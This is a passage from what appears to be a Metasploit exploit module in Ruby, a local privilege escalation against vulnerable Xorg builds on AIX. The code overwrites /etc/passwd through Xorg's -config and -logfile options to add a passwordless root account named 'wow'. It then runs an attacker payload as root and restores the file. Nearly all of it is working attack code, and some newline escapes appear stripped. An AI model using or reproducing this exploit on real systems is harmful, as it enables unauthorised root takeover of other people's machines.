xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
upload_and_chmodx(xorg_script_path, xorg_payload)

passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
print_status("Backing up /etc/passwd to #{passwd_backup}")
cmd_exec("cp /etc/passwd #{passwd_backup}")
register_file_for_cleanup(passwd_backup)

print_status("Executing #{xorg_script_path}")
cmd_exec(xorg_script_path)
print_status('Checking if we are root')

if root?
shell_payload = %(#!#{ksh93_path}
#{payload.encoded}
)
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
upload_and_chmodx(shell_script_path, shell_payload)

print_status('Executing shell payload')
cmd_exec("#{ksh93_path} -c "echo #{shell_script_path} | su - wow &"")

print_status('Restoring original /etc/passwd')
cmd_exec("su - wow -c "cp #{passwd_backup} /etc/passwd"")
else
fail_with(Failure::PayloadFailed, '')
end
end

def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
passwd_file = read_file('/etc/passwd')
passwd_array = passwd_file.split("n")

print_status('Retrieving currently logged in users')
users = cmd_exec('who | cut -d' ' -f1 | sort | uniq')
users << "n"
users_array = users.split("n")

logged_in_users = ''
if !users_array.empty?
users_array.each do |user|
user << ':'
passwd_array.each do |line|
if line.index(user) == 0
logged_in_users << 'n'
logged_in_users << line
end
end
end
end

passwd_data = "$'#{logged_in_users}\nwow::0:0::/:/usr/bin/ksh\n#'"

subdir_count = writabledir.count('/')
relative_passwd = '../' * subdir_count + '../../etc/passwd'

return %(#!#{ksh93_path}
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
)
end

def xorg_vulnerable?
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk '{ print $2 }'')
print_status("Xorg version is #{version}")
semantic_version = Gem::Version.new(version)

vulnerable_versions = [
['6.1.9.0', '6.1.9.100'],
['7.1.4.0', '7.1.4.30'],
['7.1.5.0', '7.1.5.31'],
['7.2.0.0', '7.2.0.1'],
['7.2.1.0', '7.2.1.0'],
['7.2.2.0', '7.2.2.0'],
['7.2.3.0', '7.2.3.15']
]

vulnerable_versions.each do |version_pair|
if semantic_version >= Gem::Version.new(version_pair[0]) &&
semantic_version <= Gem::Version.new(version_pair[1])
return true
end
end

return false
end

def root?
id_output = cmd_exec('su - wow -c "id"')

if id_output.include?('euid=0') || id_output.include?('uid=0')
print_good('Got root!')
return true
end

print_error('Not root')
false
end

def upload_and_chmodx(path, data)
print_status("Writing to #{path}")
rm_f(path)
write_file(path, data)
cmd_exec("chmod 0555 '#{path}'")

register_file_for_cleanup(path)
end
end

Source